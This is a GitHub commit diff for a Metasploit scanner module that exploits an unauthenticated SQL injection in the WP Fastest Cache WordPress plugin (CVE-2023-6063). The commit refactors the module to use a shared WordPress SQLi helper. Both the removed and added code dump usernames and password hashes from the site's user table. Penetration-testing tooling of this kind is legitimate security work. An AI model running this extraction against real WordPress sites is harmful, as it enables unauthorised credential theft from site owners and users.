Skip to content

Commit 37eeead

Browse files
committed
Use Msf::Exploit::Remote::HTTP::Wordpress::SQLi
1 parent a687a6c commit 37eeead

File tree

1 file changed

+9
-40
lines changed

1 file changed

+9
-40
lines changed

modules/auxiliary/scanner/http/wp_fastest_cache_sqli.rb

Lines changed: 9 additions & 40 deletions
Original file line numberDiff line numberDiff line change
@@ -4,15 +4,15 @@
44
##
55

66
class MetasploitModule < Msf::Auxiliary
7-
include Msf::Exploit::SQLi
87
include Msf::Auxiliary::Scanner
98
include Msf::Exploit::Remote::HTTP::Wordpress
9+
include Msf::Exploit::Remote::HTTP::Wordpress::SQLi
1010

1111
def initialize(info = {})
1212
super(
1313
update_info(
1414
info,
15-
'Name' => 'Wordpress WP Fastest Cache Unauthenticated SQLi (CVE-2023-6063)',
15+
'Name' => 'WordPress WP Fastest Cache Unauthenticated SQLi (CVE-2023-6063)',
1616
'Description' => %q{
1717
WP Fastest Cache, a WordPress plugin,
1818
prior to version 1.2.2, is vulnerable to an unauthenticated SQL injection
@@ -41,6 +41,7 @@ def initialize(info = {})
4141
}
4242
)
4343
)
44+
4445
register_options [
4546
OptInt.new('COUNT', [false, 'Number of rows to retrieve', 1]),
4647
]
@@ -62,47 +63,15 @@ def run_host(ip)
6263
fail_with Failure::Unreachable, 'Connection failed' unless res
6364
end
6465

65-
return print_bad("#{peer} - Testing of SQLi failed. If this is time-based, try increasing the SqliDelay.") unless @sqli.test_vulnerable
66-
67-
columns = ['user_login', 'user_pass']
66+
wordpress_sqli_initialize(@sqli)
6867

69-
print_status('Enumerating Usernames and Password Hashes')
70-
data = @sqli.dump_table_fields('wp_users', columns, '', datastore['COUNT'])
71-
72-
table = Rex::Text::Table.new('Header' => 'wp_users', 'Indent' => 4, 'Columns' => columns)
73-
loot_data = ''
68+
return print_bad("#{peer} - Testing of SQLi failed. If this is time-based, try increasing the SqliDelay.") unless @sqli.test_vulnerable
7469

75-
data.each do |user|
76-
create_credential({
77-
workspace_id: myworkspace_id,
78-
origin_type: :service,
79-
module_fullname: fullname,
80-
username: user[0],
81-
private_type: :nonreplayable_hash,
82-
jtr_format: Metasploit::Framework::Hashes.identify_hash(user[1]),
83-
private_data: user[1],
84-
service_name: 'Wordpress',
85-
address: ip,
86-
port: datastore['RPORT'],
87-
protocol: 'tcp',
88-
status: Metasploit::Model::Login::Status::UNTRIED
89-
})
90-
table << user
91-
loot_data << "Username: #{user[0]}, Password Hash: #{user[1]}\n"
70+
table_prefix = wordpress_sqli_identify_table_prefix
71+
unless table_prefix
72+
fail_with(Failure::NotFound, 'Failed to identify the WordPress table prefix.')
9273
end
9374

94-
print_good('Dumped table contents:')
95-
print_line(table.to_s)
96-
97-
loot_path = store_loot(
98-
'wordpress.users',
99-
'text/plain',
100-
ip,
101-
loot_data,
102-
'wp_users.txt',
103-
'WordPress Usernames and Password Hashes'
104-
)
105-
106-
print_good("Loot saved to: #{loot_path}")
75+
wordpress_sqli_get_users_credentials(table_prefix, ip, datastore['COUNT'])
10776
end
10877
end

0 commit comments

Comments
 (0)